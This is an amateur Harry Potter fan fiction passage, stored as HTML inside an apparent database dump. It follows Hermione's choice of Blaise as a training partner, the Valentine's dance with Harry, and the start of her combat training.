joining this. I believe there should be more than an I see as your response.&quot;</p>\n\n<p>	&quot;I agree with Professor Snape.&quot; Ron yelled out, not noticing everyone&#8217;s shocked look. &quot;I mean Mione, what in Merlin&#8217;s name were you thinking? Do you know how stupid this is?&quot;</p>\n\n<p>	&quot;What if she told people? What if people get hurt because of this?&quot; Harry interrupted, stepping towards me.</p>\n\n<p>	&quot;Stop yelling at her!&quot; Blaise screamed. &quot;If you have a problem with me, then shout at me. Just because you&#8217;re jealous of our friendship doesn&#8217;t give you the right to yell at her judgment. From what she has told me, her instincts have saved both your lives plenty of times.&quot; She removed my hand from her arm. &quot;So before you start spilling you male insecurities, you should let her speak before you cast stones.&quot; Even at this moment, I couldn&#8217;t help but show a small smile. <i>I was proud to have a friend like her, but sad that she only showed real emotion when she was defending me.</i></p><i>\n\n</i><p>	I placed my hand on her shoulder, feeling her body relax. &quot;I admit, speaking in a public area was a lack of senses on my part. But I don&#8217;t regret telling Blaise anything. She has been listening and helping me, since the beginning. She knows everything I do and has never told anyone. I understand that you may not trust her. Yet if you can trust me, you should be able to trust what I do. Blaise if my friend, and I trust her with things in my life.&quot;</p>\n\n<p>	&quot;That still doesn&#8217;t make it right, that you told her.&quot; Ron huffed. Annoyed I directed my attention to the Professors.</p>\n\n<p>	&quot;Professor Dumbledore, you asked who I wanted to train with? Who I wanted to be my partner? Well I chose Blaise.&quot; I pulled Blaise by her sleeve. &quot;So being my partner, I can tell her anything.&quot;</p>\n\n<p>	He cleared his throat focusing on Blaise. &quot;Ms. Zabini, are you willing to join? Are you willing to risk your life and safety for our cause?&quot; She looked around the room then smirked towards me.</p>\n\n<p>	With a quick wink, she pointed to Ron. &quot;If Sparky can do it, so can I.&quot;</p>\n\n<p>	&quot;We can start training next week.&quot; Charlie chuckled at the nickname. </p>\n\n<p>	&quot;Well it&#8217;s settled then. Harry, Ron do you have any more questions?&quot; Professor Dumbledore cooed gently towards the angry boys.</p>\n\n<p>	&quot;No,&quot; they mumbled incoherent words after their agreement.</p>\n\n<p>	&quot;Professor, did Tom Riddle have any other relatives?&quot; I remembered from my earlier discussion.</p>\n\n<p>	&quot;Why do you ask?&quot; Professor Figgs anxiously replied.</p>\n\n<p>	&quot;In the poem, it mentioned blood and kin.&quot; Blaise said.</p>\n\n<p>	&quot;If the muggles were related to them, then we at least now why they were taken.&quot; I added.</p>\n\n<p>	&quot;I will look further into it.&quot; Professor Snape answered.</p>\n\n<p>	&quot;Well it is getting late and near curfew. We will finish this another day Harry, Ron.&quot; The headmaster gestured towards the door.</p>\n\n<p>	&quot;Hermione, Blaise, we should meet tomorrow to discuss about future training.&quot; Charlie slightly shoved me after Harry and Ron. Understanding his hidden meaning, we said our farewells. Blaise and I reached Harry and Ron who had only walked slowly around the corner. Silently we stood facing each other, pondering how to start the discussion.</p>\n\n<p>	&quot;Before anything else happens between us, I think we need to get things settled first.&quot; Blaise broke the sheet of ice surrounding us.</p>\n\n<p>	&quot;Oh and what may that be?&quot; Ron sarcastically answered. <i>Please don&#8217;t get into another fight</i>.</p>\n\n<p>	&quot;I think both of you have walls of molt around your head. I really don&#8217;t care if Draco fights with you. I think it&#8217;s funny when Snape takes points away from you. I even agree with the school, when Dumbledore favors you. But because Hermione is my friend, I am going to respect you.&quot;</p>\n\n<p>	&quot;That is the craziest thing I have ever heard. You don&#8217;t like us, but you&#8217;re going to respect us.&quot; Ron started pacing back and forth.</p>\n\n<p>	&quot;It&#8217;s not crazy. You should be happy. I never respect people.&quot; Ron stopped at the tone of seriousness in her voice.</p>\n\n<p>	&quot;Fine, because I feel the same way.&quot; Harry coldly replied.</p>\n\n<p>	&quot;I still think you are rude and overly cyclical.&quot; </p>\n\n<p>	&quot;Well Sparky, the feeling is mutual.&quot; She smirked as Ron&#8217;s flustered face.</p>\n\n<p>	&quot;Stop calling me Sparky!&quot; </p>\n\n<p>	&quot;Blaise,&quot; I voiced in. &quot;Let&#8217;s call it a night. We can continuing this tomorrow.&quot;</p>\n\n<p>	&quot;All right, goodnight Hermione, Harry.&quot; She turned back to Ron. &quot;Night Sparky,&quot; Blasie walked away while Ron was still frustrated. We soon reached the Gryffindor Tower in an ire silence. Ron still being incredibly anger stumped up the stairs, probably plotting revenge. I turned to see Harry quietly sit in front of the fireplace. Many of the students noticed his sullen behavior, while planning to scatter away. Ginny gave me a quick pat before leaving with many of the students to their rooms. Cautiously I sat next to Harry, dreading what was to come.</p>\n\n<p>	&quot;Are you really mad with me?&quot; I nervously asked.</p>\n\n<p>	&quot;No, not as much as I thought I would be.&quot; He said softly.</p>\n\n<p>&quot;So why do you still look like you&#8217;re have a mental roller coaster.&quot;</p>\n\n<p>	&quot;I&#8217;m more disappointed.&quot; He glanced up. &quot;You chose her. What about me?&quot; </p>\n\n<p>	&quot;You chose Ron.&quot; I wrapped my arms tighter around me knees.</p>\n\n<p>	&quot;He has been with me since the beginning.&quot;</p>\n\n<p>	&quot;So was I. I have been with you every second.&quot; I stood, stepping closer towards the fire. &quot;She has been by my side since the beginning too. Harry, how could I choose you? You already had Ron. You chose him over me.&quot;</p>\n\n<p>	&quot;Nene, I had too. He can defend himself.&quot; He reached for my arms. <i>What am I! Weak and defenseless!</i></p><i>\n\n</i><p>	&quot;Harry, I am not helpless!&quot; I pulled away from him.</p>\n\n<p>	&quot;But your family is!&quot; He hollered. Then the realization of why he would chose Ron hit me like a speeding bludger. We stared at each other, revealing another secret ripped out from our past experiences. <i>How many more things are you not telling me? How many more secrets and misunderstandings do we have from one another? Are we ever going to truly understand each other? Whenever I think I do, I just realize I am only in the middle of it. I&#8217;m too far from the beginning and not deep enough at the end. Am I only in the middle of understanding you?</i></p><i>\n\n</i><p>	&quot;No one deserves to have their parents torn away from them.&quot; Harry whispered. &quot;I have lived my life with out any. I only have longings and dreams to keep me company.&quot; He gazed up, staring into my eyes. &quot;But Nene, you actually have it, and to lose them would be worst then not having them in the first place. I don&#8217;t want them to be hurt because of me. I want you to have everything, I couldn&#8217;t.&quot; On impulse, I crashed into him. With my arms engulfing his waist, he sighed at our contact. I nuzzled my head closer into his shirt, wondering how I could love him more. <i>Wait did I just say love? I&#8230;love&#8230;Harry. I am in love with Harry Potter.</i></p><i>\n\n</i><p>	&quot;Harry I&#8230;&quot;I arched up to see his face. My words halted at seeing his dark sparkling eyes. His smile was gone, only showing a face of seriousness. The look of a teenage boy was covered with responsibilities, worries, and doubts of a fighting hero. He had face death 3 times over. He had seen things many did not even dream about. &quot;Harry I wish I could take it all away.&quot; <i>For all the things Harry had faced</i>, <i>love was still not his challenger</i>. &quot;Though deep down, I know you wouldn&#8217;t want me too. Harry, I do know the risks. And surprisingly so do my parents. I would never blame you, if anything was to happen.&quot; I reach to touch his showing scar. &quot;As for choosing Blaise, you need to understand why. If we were to be partners, our emotions would block rational thinking. She knows me the best logically and as Ron to you. Ron is your partner because you don&#8217;t feel like you need to protect him. I chose Blaise because I don&#8217;t feel the need to explain each decision I make.&quot;</p>\n\n<p>	He finally smiled for the first time in days. &quot;How does our arguments always end up with logically explanations?&quot; His finger trailed along my jaw.</p>\n\n<p>	&quot;Well it&#8217;s your fault for choosing me as a girlfriend.&quot; I playfully teased.</p>\n\n<p>	&quot;You&#8217;re right.&quot; He joked back then his tone turned gently. &quot;I&#8217;m sorry. I don&#8217;t like her but I could understand why you chose her.&quot;</p>\n\n<p>	&quot;I honestly wanted a better way to tell you. But at least its out in the open now.&quot; I brushed my lips against his cheek. &quot;Harry, you came to my house this summer to protect us, didn&#8217;t you?&quot;</p>\n\n<p>	&quot;Yes, I was deciding on who to chose as a partner. Sirius suggested I visit one to see whom. Then I saw your family life.&quot;</p>\n\n<p>	&quot;So you decided to pick Ron.&quot; I ended for him. &quot;Harry will you ever get over the idea of protecting me?&quot;</p>\n\n<p>	&quot;Will you ever stop worrying about me?&quot; I shook my head. &quot;Nene, it&#8217;s late and I don&#8217;t think I can function properly with words. Could we discuss this another day?&quot;</p>\n\n<p>	&quot;I guess,&quot; <i>I wanted to spend time with him</i>.</p>\n\n<p>	&quot;Good,&quot; Harry then scooped me into his arms. </p>\n\n<p>	&quot;Harry what are you doing?&quot; I chuckled at his odd behavior.</p>\n\n<p>	&quot;I haven&#8217;t cuddled with you in days. I am not wasting this time by talking.&quot; Harry placed me on the soft red couch.</p>\n\n<p>	&quot;Got a better idea Mr. Potter.&quot; I mockingly glared.</p>\n\n<p>	&quot;Plenty Ms. Granger,&quot; he smirked with devilish ideas.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<b><p>Dear Dad,</p>\n\n<p>	How is everything at home? Is Dante still crying at night? Does mom get enough rest? Do you get enough either? Who was worst, Dante or I? Anyway I love the pictures you sent me. I passed them around to my classmates as well. They said I have a great family. I must say I absolutely agree. Harry is doing well. I believe he is writing to you also. What are you two up too? I have a funny feeling something is going on. Back to subject, I think your idea about the roses is fantastic. But since mom is a neat freak, I&#8217;m not sure if she will appreciate the roses covering her kitchen floor. Why don&#8217;t you just send her bouquets? I mean the amount you will spend, is about 5 dozen any way. Though your idea is much more romantic. </p>\n\n<p>	I finally finished the details with the other Prefects for the Valentine&#8217;s Day dance. Thanks for the tip about the quills. I broke fifteen of them, but at least Malfoy&#8217;s face is still in tack. I still don&#8217;t believe they would pair me with him. I think Roger and Angelina were to busy with their other half to notice, which name was paired with which on the list. Yet through all the teeth clenching and name calling, we pulled through beverages and treats. I am impressed with one thing about Malfoy. He certainly does now how to wine and dine. It&#8217;s in 3 days though. I mean this year has gone by so fast for me. Ron is still looking for a date. After much pestering from his family, he decided to find one. He mainly wants to prove them wrong. I assume Harry and I will go to the dance. I mean we are a couple. It does count, when they don&#8217;t ask you right? Most of the girls in the school think he asked in a very romantic way. I didn&#8217;t have the heart to tell them no. Well I have to go and continue to study. I love you, always will and never half way. Write back soon, to your favorite top student and loving daughter.</p>\n\n<p>	Sunshine</p>\n\n</b>\n\n<p>	&quot;I have a date!&quot; Ron came running towards Harry and I. Many students glared at the noise he was making in the studious library.</p>\n\n<p>	&quot;Good for you,&quot; I said behind my book.</p>\n\n<p>	&quot;Who is the lucky girl?&quot; Harry replied with more enthusiasm.</p>\n\n<p>	&quot;Hannah Abbot,&quot; he smiled smugly. &quot;The cutest blonde in our school asked me to the dance.&quot;</p>\n\n<p>	&quot;After me of course. Though I wouldn&#8217;t touch you with a ten foot pole.&quot; Blaise suddenly appeared behind us.</p>\n\n<p>	&quot;Sweet Merlin!&quot; We jumped at Ron&#8217;s outburst. &quot;Don&#8217;t you Slytherins make noise when you walk?&quot;</p>\n\n<p>	&quot;Do you Gryffindors have to shout whenever you ask a question?&quot; She leaned against the bookcase.</p>\n\n<p>	&quot;I had about enough of your remarks Snappy?&quot; He bellowed towards her.</p>\n\n<p>	&quot;Why that is original. Did Hermione give it to you?&quot;</p>\n\n<p>	&quot;Just because you&#8217;re a girl, doesn&#8217;t mean I am not going to hurt you.&quot; He advanced forward.</p>\n\n<p>	&quot;I would like to see you try.&quot; They stood glaring at each other. <i>If only their stares to start fire. I wonder if they could melt ice place between them.</i></p><i>\n\n</i><p>	&quot;Blaise is there a reason why you&#8217;re here, or is it just to annoy Ron?&quot; Harry interrupted the blazing lock.</p>\n\n<p>	&quot;So you are the smart one, when Hermione is busy.&quot; Harry stopped Ron from struggling Blaise, while I just watched shaking my head back and forth. Since my decision, Blaise usually appeared before us forming a new group of four. Well this caused extra friction for Ron, who was easily riled up from her. <i>He</i>\n\n<i>even argued worst with her then me</i>. &quot;Anyway Professor Weasley wanted you to practice with me today.&quot; She focused on Harry.</p>\n\n<p>	&quot;Oh, all right.&quot; Harry stood reluctantly to pack his things.</p>\n\n<p>	&quot;Blaise, I just received the new edition of Hogwarts: A History. I&#8217;ll lend it to you when I am done.&quot; </p>\n\n<p>	&quot;Thanks Hermione,&quot; she turned to walk away. &quot;Bye Sparky!&quot;</p>\n\n<p>	&quot;Ron let it go,&quot; Harry throw his hand up. Ron flopped on to the chair frustrated at not having the last word. &quot;Are you patrolling later?&quot; He bent down to face me.</p>\n\n<p>	&quot;Yes, but only till 10:30 or so.&quot; I leaned in for a kiss.</p>\n\n<p>	&quot;Okay, see you later.&quot; Harry walked away with a smiling expression. Still in my happy world, I let Ron fester on his own. After what seem to be hours, his repressed feelings exploded again.</p>\n\n<p>	&quot;I wish I had a sock every time she opens her mouth.&quot;</p>\n\n<p>	&quot;Funny, she said the same thing.&quot; I muttered to myself. Yet it was ignored as Ron continued on with his rants about our unofficial new member.</p>\n\n<p>	</p>\n\n<p>	&quot;Have you asked her yet?&quot;</p>\n\n<p>	&quot;What are you talking about Zabini?&quot;</p>\n\n<p>	&quot;Potter, she may be your girlfriend but she is still a girl.&quot;</p>\n\n<p>	&quot;What?&quot;</p>\n\n<p>	&quot;Have you ask her to the dance?&quot;</p>\n\n<p>	&quot;Why would I need too?&quot;</p>\n\n<p>&quot;So just because you are dating, you are not actually going to take the courteous to ask!&quot;</p>\n\n<p>	&quot;Hermione and I have a great understanding with each other. We don&#8217;t need to say everything.&quot;</p>\n\n<p>	&quot;You git! She is a fifteen-year-old girl. What teenager doesn&#8217;t dream of the romantic way someone ask them to a dance.&quot;</p>\n\n<p>	&quot;Did she say something to you?&quot;</p>\n\n<p>	&quot;Hermione and I have a great understanding with each other. I can see what she is feeling by looking at her face.&quot; </p>\n\n<p>	&quot;Oh&quot;</p>\n\n<p>	&quot;Don&#8217;t oh. Just fix it.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>	<i>Almost 10:30! Well I have checked the North and East Tower, the dungeons, and the second level classrooms. Is there anything else I have missed? No, I think not. </i></p><i>\n\n</i><p>	Ding Dong</p>\n\n<i><p>	Yes, I am finished. Ron would have a heart attack to hear me excited about not working. Of course no one else knows what I am thinking. </p>\n\n</i><p>	&quot;Hermione,&quot; I turned to see Susan running in her Hufflepuff uniform. &quot;Do you have time to spare?&quot; She huffed, in her cheery expression. I glanced to my watch. <i>Well I think Harry could wait a little longer.</i></p><i>\n\n</i><p>	&quot;What did you want to talk about?&quot; We started walking down the stairs.</p>\n\n<p>	&quot;It&#8217;s about the Valentine&#8217;s Dance.&quot; She paused on the last step. &quot;I know it&#8217;s not my place to say, but I think Ron deserves to know. I don&#8217;t want to see him get hurt.&quot;</p>\n\n<p>	&quot;What do you mean?&quot; My eyes widen in worry.</p>\n\n<p>	&quot;Hannah is only going with Ron, to make Anthony Goldstein jealous.&quot; She rapidly rushed out. &quot;I really hope Ron, doesn&#8217;t get his feelings hurt by this.&quot;</p>\n\n<p>	&quot;Oh,&quot; I murmured. &quot;Um&#8230;thank you for saying something. But shouldn&#8217;t you be saying this to Ron.&quot;</p>\n\n<p>	&quot;Well I think Ron has certain ideas of Hannah. Also you&#8217;re the only person I could tell. Harry is still very mysterious to me. Besides you are his best friend. He trusts you and you know better ways of telling him the truth.&quot; Susan shifted her weight to the left leg.</p>\n\n<p>	&quot;Okay, I will talk to him.&quot; I reached to pat her shoulder. &quot;Thank you for telling me. I know how Hannah is your friend too.&quot;</p>\n\n<p>	&quot;Yes, but she shouldn&#8217;t be playing with people&#8217;s emotions. I mean Ron doesn&#8217;t deserve that.&quot; </p>\n\n<p>	 Later I entered into the Common Room to see it completely empty. <i>I wonder where everyone is?</i> Glancing around the room, I saw a single pink orchard on the coffee table. I walked over and reached for the beautiful flower. The exotic aroma filled my nostrils while its soft petal brushed my skin. Attached to it was a small note.</p>\n\n<p>	<b>Close your eyes.</b></p><b>\n\n</b><p>	<i>Harry, what are you up too?</i> Following the instructions, I closed my eyes only to sense the warm fire crackling. Then I felt an arm wrap around my waist, pulling me backwards.</p>\n\n<p>	&quot;Do you like it?&quot; Harry blew into my ear. </p>\n\n<p>	&quot;Its beautiful.&quot; I twirled the orchard in my hand.</p>\n\n<p>	&quot;Just like its owner.&quot; Harry spun me around to face him. &quot;I like this.&quot; <i>Harry you are too much</i>.</p>\n\n<p>	&quot;What is it?&quot; I asked running my fingers along the back of his neck. &quot;You are being way to sweet for nothing.&quot;</p>\n\n<p>	&quot;Do I need reasons to hold my girlfriend or give her gifts?&quot; He started to move me in circles. &quot;All right there is a reason.&quot; We stopped dancing when he dipped my body.</p>\n\n<p>	&quot;Harry, what are you doing?&quot; I giggled at our position.</p>\n\n<p>	&quot;Practicing,&quot; he returned me to a standing posture.</p>\n\n<p>	&quot;For what?&quot; </p>\n\n<p>	&quot;The dance,&quot; he tugged me closer. &quot;Do I have the honor of doing this with you on February 14?&quot;</p>\n\n<p>	&quot;I thought you knew.&quot; I couldn&#8217;t help but show a smile.</p>\n\n<p>	&quot;Sometimes it is good to hear reassurance.&quot; He cupped my chin with his smooth hand.</p>\n\n<p>	&quot;Do I?&quot;</p>\n\n<p>	&quot;Yes,&quot; I whispered. &quot;I would follow you anywhere.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	The day of love and romance was finally here and I was spending it in the Hospital Wing. <i>I was</i>\n\n<i>finally dueling with Professor Figgs so why did I have to break my arm today</i>. <i>I mean I only have 3 hours before the dance. I hope I have enough time to get ready.</i></p><i>\n\n</i><p>	&quot;Hermione, are you all right?&quot; Professor Figgs asked, while applying pressure on her bleeding shoulder.</p>\n\n<p>	&quot;Oh, I am fine. I should be the one asking you that question.&quot; I answered filled with remorse.</p>\n\n<p>	&quot;I have been through worst.&quot; She smiled. &quot;You should be proud of yourself. We haven&#8217;t been training that long but you all ready caught up with many of the other kids.&quot;</p>\n\n<p>	&quot;Thank you,&quot; I smiled meekly. &quot;But I am still sorry about the wound.&quot;</p>\n\n<p>	&quot;It&#8217;s fine dear.&quot; She laughed heartily. &quot;Though I must say, your trapping charm was amazing. Have you used it a lot in the past?&quot;	<i>Oh no, what should I say?</i> Luckily Ginny appeared allowing me not to answer the question.</p>\n\n<p>	&quot;You sure did a number on yourself.&quot; She took my arm gently. &quot;Are you trying to complicate my nerves today?&quot; Ginny teased playfully.</p>\n\n<p>	&quot;Well, I thought they already were since Neville openly gave you those daisies this morning. It was very sweet of him to do so in the Great Hall.&quot; I slightly winced from the pain.</p>\n\n<p>	&quot;Becareful Hermione, I could pull a Lockhart. Then I would like to see how you will dance with Harry tonight.&quot; She grinned fixing my arm.</p>\n\n<p>	&quot;When did you get so witty?&quot; I smiled slowly moving my arm around.</p>\n\n<p>	&quot;Surprisingly hanging around with Blaise. We have a great time talking.&quot; I glanced over towards Professor Figgs, who was still holding her shoulder.</p>\n\n<p>	&quot;Ginny, why don&#8217;t you go help Professor Figgs?&quot; Her face paled at my question.</p>\n\n<p>	&quot;Oh, well it&#8217;s deeper than what I can handle. Besides we need to leave to prepare for tonight.&quot; Ginny swiftly headed towards the door. <i>That was odd. I know she has done worst with Harry and Ron.</i></p><i>\n\n</i><p>	Three hours later, I was pacing frantically in Blaise&#8217;s hidden room. I was worried. <i>What if Harry doesn&#8217;t want to go with me suddenly? What if I trip and fall? What if I spill juice all over myself? What if everyone thinks I look ridiculous?</i></p><i>\n\n</i><p>	&quot;Will you stop with the what if inside your head? Ginny and I are going cross eyed looking at you.&quot; Blaise comment lazily on her bed. Ginny giggled at my flustered expressions. Finally I sat down with a sigh.</p>\n\n<p>	&quot;Why am I the only one worried here?&quot;</p>\n\n<p>	&quot;Because I really don&#8217;t care about my date, and G has Neville wrapped around her finger.&quot; Blaise causally blew on her fingernails. <i>When did she and Ginny become so friendly?</i></p><i>\n\n</i><p>	&quot;Besides we are not going with the boy-who-lived.&quot; Ginny quickly added. <i>Note to self, Ginny and Blaise need to be separated.</i></p><i>\n\n</i><p>	&quot;Cheer up M, it will be fine. You are getting yourself worked up for nothing.&quot; Blaise stood and walked towards the mirror. &quot;We should go. I want everyone to be awed by us.&quot;</p>\n\n<p>	&quot;Easy for you to say. You look like a Greek Goddess.&quot; I muttered next to her.</p>\n\n<p>	&quot;And you&#8217;re the enchanting gypsy.&quot; She smiled towards Ginny too. &quot;We look like Charlie&#8217;s Angels.&quot;</p>\n\n<p>	&quot;My brother doesn&#8217;t have angels.&quot; Ginny asked very confused.</p>\n\n<p>	&quot;It&#8217;s a muggle thing.&quot; I glanced at our reflection in the mirror. Ginny had daringly worn a long dark orange dress. It had sheer tan sleeves with a matching sash around her waist. Her usual straight hair was in tight ringlets behind her back. Her brothers are definitely going to lock her in the house someday. But boys will probably still be knocking on their door.</p>\n\n<p>	On my left, Blaise was clasping on her bright red choker. Her normal attire of darker colors was left in the closet tonight. Instead she chose a beautiful sunlight yellow dress, which had a flowing effect along her neckline. It only reached her knees, showing off her unconventional saddles. Around her hips, was a silk red belt, matching with the red ribbons in her hair. I started laughing as she smoothed her dress down.</p>\n\n<p>	&quot;What is so funny?&quot; </p>\n\n<p>	&quot;You do know that you are wearing Gryffindor colors.&quot; Ginny and I chuckled as she started to notice the combination.</p>\n\n<p>	&quot;Oh well, I still look good wearing it.&quot; Blaise turned towards the door. &quot;I better go first. I&#8217;ll meet you two down there.&quot; I nodded slowly catching one last look at myself.</p>\n\n<p>	My bushy hair was held in a high ponytail showing off my neck and shoulders. I was wearing a black peasant top with dark red trims. My skirt ruffled down in dark red with black rose prints. I started feeling self-conscious again. <i>Do I look bad?</i></p><i>\n\n</i><p>	&quot;Hermione, are you coming?&quot; Ginny turned at the door.</p>\n\n<p>	&quot;Yes,&quot; <i>come Granger you can do it.</i></p><i>\n\n</i><p>	&quot;Where are they?&quot; I heard Ron behind the corner.</p>\n\n<p>	&quot;I&#8217;m sure they will be here soon.&quot; Neville tried reassuring him.</p>\n\n<p>	&quot;Don&#8217;t worry. I mean its Hermione. She is never late.&quot; <i>Oh Harry, I hope you like this.</i></p><i>\n\n</i><p>	Finally I saw him, and my heart skipped a beat. He had on what looked to be an expansive button up suit with a satin red tie. His hair was still messy but it looked slightly gelled. I caught his eyes and they seem to be shining. <i>Harry, how do you make my legs weak every time?</i>\n\n</p>\n\n<p>	&quot;Mione, you look hot!&quot; Ron hooted besides Harry.</p>\n\n<p>	&quot;Watch it Weasley. She&#8217;s all mine.&quot; Harry pulled me closer towards him.</p>\n\n<p>	&quot;I know but she still looks hot.&quot; He playfully teased back.</p>\n\n<p>	&quot;I&#8217;m still here!&quot; I shoved Ron&#8217;s shoulder.</p>\n\n<p>	&quot;Yeah, but its still great to know I can make you blush. Dear Merlin Gin, where did you get that dress?&quot; Ron bellowed. &quot;Neville, I have my eyes on you tonight.&quot; He tightened his grip on the poor boy&#8217;s shoulder.</p>\n\n<p>	&quot;Ron, stop it.&quot; Ginny pulled her date towards the Great Hall. &quot;We will see you all inside. And thanks Ronniekins, I know I look good.&quot; She smirked, laughing at something Neville had whispered to her.</p>\n\n<p>	&quot;If he tries anything on my little sister, I swear I will do awful things.&quot; Ron ranted as the disappeared behind the door. Yet I completely ignored him, because I only felt Harry&#8217;s arms tightly around me. &lt;Cough&gt; &quot;Well, I know when I should leave. I will be inside with the great Hannah. I&#8217;m positive she will have fun tonight.&quot; Ron smiled wickedly, leaving us alone.</p>\n\n<p>	I arched my head almost about to speak when Harry captured my lips. We stood silently in each other&#8217;s embrace with a new sensation of intensity. <i>Was that passion? No, it feels more than just that. Was it</i>\n\n<i>love? Do you love me Harry?</i> Finally we broke apart, needing the air to fill our lungs.</p>\n\n<p>	&quot;Every time I kiss you, I feel a tingling chill all over my body. The way you move your lips against mine makes it feel like an addiction. Or how you run your hands through my hair, always smoothing my worries. Even the way you flutter your eyes, just before we actually kiss. Kissing you is magic, that doesn&#8217;t need to be taught.&quot; Harry gently cupped my chin. &quot;Nene, I&#8217;m going crazy for you. I am not sure how I feel about you anymore. It goes beyond the friendship or relationship we share. I just know that I need you here, so I can always feel you by my side.&quot; <i>And that was it folks. I knew at the exact</i>\n\n<i>moment, that I loved Harry Potter. Sure I said it before. I had thoughts about being in love with him too. But at that one fragment in time, with his unyielding green eyes shooting into mine, I knew.</i>\n\n<i>No matter how young I was, no matter how much we could change, no matter about our unknown fate, I love Harry. I would always love this boy, who took a piece of my heart.</i></p><i>\n\n</i><p>	&quot;Harry I lo&#8230;&quot;</p>\n\n<p>	&quot;Hi Harry, Hermione!&quot; Colin interrupted suddenly.</p>\n\n<p>	&quot;Hi Colin,&quot; Harry groaned towards him. &quot;Come on Hermione, we should go in.&quot; He quickly dragged me away from the overly excited boy. &quot;I want everyone to know what a great date I have.&quot;</p>\n\n<p>	&quot;Only if you promise to dance with me again.&quot; I winked playfully towards him.</p>\n\n<p>	&quot;Like I said, when it comes to beautiful women, I could never resist a request.&quot; We glided into the Great Hall, which was decorated in an array of hearts and cupids. The ceiling was fully lite with floating pink and white candles. <i>This is nice</i>.</p>\n\n<p>	We spent the rest of the night enjoying life like normal teenagers. Ron would accidentally step on Hannah&#8217;s toes every time Anthony looked towards her direction. <i>Lesson 1 in the wizard world; never make</i>\n\n<i>a Weasley mad</i>. By the first hour past, Ginny and Neville were officially Hogwarts newest couple. And the twins pulled off another amazing prank involving Charlie and a bright pink suit. While the commotion surrounded us, Harry and I existed in our own world apart from everyone. I don&#8217;t think we spent a minute without looking or not touching each other. <i>I believe this night couldn&#8217;t get any better.</i> Like my life, it was still unpredictable.</p>\n\n<p>	As the dance was ending, Harry asked if I wanted to stroll around the lake. Nodding at the idea of fresh air, we slowly made our way to our destination. The stars seemed to be twinkling in an uneven melody while the cresten moon drifted in the air. We circled the lake twice, before settling down on the early spring grass. Peacefully we watched the quiet water ripple by the wind, each deep in our own thoughts. I snuggled my back closer into Harry&#8217;s body, thinking about the blissful night. Then I felt Harry&#8217;s hands fidget in anxiety.</p>\n\n<p>	&quot;Harry, what is it?&quot; <i>Please don&#8217;t tell me it has to do with Voldemort. Could there be a moment without him in our lives?</i></p><i>\n\n</i><p>	&quot;I have something for you.&quot; He slipped a narrow box out of his sleeve. Curiously I opened the mysterious item to reveal a plain old bone. &quot;I know you&#8217;re wondering why I would give you that. It&#8217;s simple actually. I am giving you my bone.&quot; Harry moved to face me directly. <i>What in Merlin&#8217;s name are you doing?</i></p><i>\n\n</i><p>	&quot;Harry, what is this?&quot; I asked in bewilderment.</p>\n\n<p>	&quot;Your dad has been sending me books about God and stories relating to God.&quot; <i>So that&#8217;s what they</i>\n\n<i>have been up too</i>. &quot;I clearly remember one story about Adam and how God created him to watch over his kingdom. Yet he was alone in the perfect garden. So God took a piece of his bone, and created Eve.&quot; Harry clasped his hands over mine. &quot;You are a piece of me Nene. I was lonely before I met you. I knew nothing about care until you showed me. I can handle anything with you by my side. You are apart of me. And I want to be apart of you also. I want you to have this bone, so we will always have a piece of each other.&quot; I started crying uncontrollably, and threw my arms around his neck. This weird, uncommon, unique gift was amazingly the most romantic thing I have ever received. Only Harry could make a bone seem like a diamond ring. And what made me happiest, was that I was the only one who would ever get this gift from him.</p>\n\n<p>	&quot;Harry I love you.&quot; I stared deep into his eyes. &quot;I don&#8217;t care if you are ready for it. I don&#8217;t care if you can not handle it. I just want you to know that I love you. So even if there were no gifts, kisses, or tender words, I will still love you because you&#8217;re my Harry.&quot;</p>\n\n<p>	He slowly cleared his throat. &quot;I have never known what love meant. Sometimes I still wonder if I do. But Nene, I know that you could teach me what love means.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Interesting, is it true?&quot;</p>\n\n<p>	&quot;My son heard it himself my lord.</p>\n\n<p>	&quot;Well then, I should meet this person.&quot;</p>\n\n<p>	&quot;I will arrange it myself sir.&quot;</p>\n\n<p>	&quot;No, I will have someone else handle it. Have you finished your other task?&quot;</p>\n\n<p>	&quot;I have.&quot;</p>\n\n<p>	&quot;Exactly. They shall finally see how powerful I am.&quot;</p></font>\n\n '),
	(239, 18, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Disclaimer: No not mine</title>\n\n\n\n<font size="2"><p>Disclaimer: No not mine.</p>\n\n<p>Hello everyone! Finally I have this chapter posted up. A really big Thank You to James for fixing the error.: ( Anyway here it is! It didn&#8217;t turn out as action packed as I wanted but I hope you all like it. This story is going to end soon, and I think I will do a sequel to it. Well I hope to read your comments and reviews. Enjoy the story! Also big thanks to my lovely beta readers Malu and Summer Magic.</p>\n\n</font><b><font size="3"><p>The Middle of Understanding</p>\n\n</font></b><p><font size="3">Chapter 17</font></p><font size="3">\n\n<b><u><p>Disappearance</p>\n\n</u></b><p></p>\n\n</font><font size="2"></font><p><font size="2">	</font><i><font size="3">Jab, Punch, Kick, Jab, Punch, and Kick. Keep your eyes on the opponent. Find a weak spot. Jab, Punch, and Kick.</font></i></p><i><font size="3">\n\n</font></i><p><font size="3">	&quot;Hmfph,&quot; Charlie lugged forward holding his stomach.</font></p><font size="3">\n\n<p>	&quot;Are you all right?&quot; I quickly reached for him.</p>\n\n<p>	&quot;Never better,&quot; he croaked, while sitting down. &quot;When did your punches get so strong?&quot;</p>\n\n<p>	I smiled with pride. &quot;Harry has been practicing with me.&quot;</p>\n\n<p>	&quot;I&#8217;ll just have to add a heavier drill for him.&quot; Charlie grinned wickedly. &quot;Good job though, but you are still holding back. Remember Hermione, your enemy doesn&#8217;t give you time to find a weak spot. We&#8217;ll work on quickening your instincts next time.&quot;</p>\n\n<p>	&quot;Thank you Charlie.&quot; I held out my hand, helping him stand.</p>\n\n<p>	&quot;Anytime,&quot; he patted my head. &quot;You better hurry and get ready. Most of the people should be at the Three Broomsticks by now.&quot;</p>\n\n<p>	&quot;Okay,&quot; I grabbed my things. &quot;So you&#8217;re bringing Ron over with Harry?&quot;</p>\n\n<p>	&quot;Yes, don&#8217;t worry.&quot; He winked playfully. &quot;He doesn&#8217;t know a thing.&quot;</p>\n\n<p>	&quot;Just making sure.&quot; Then I left in a mad rush, to prepare. 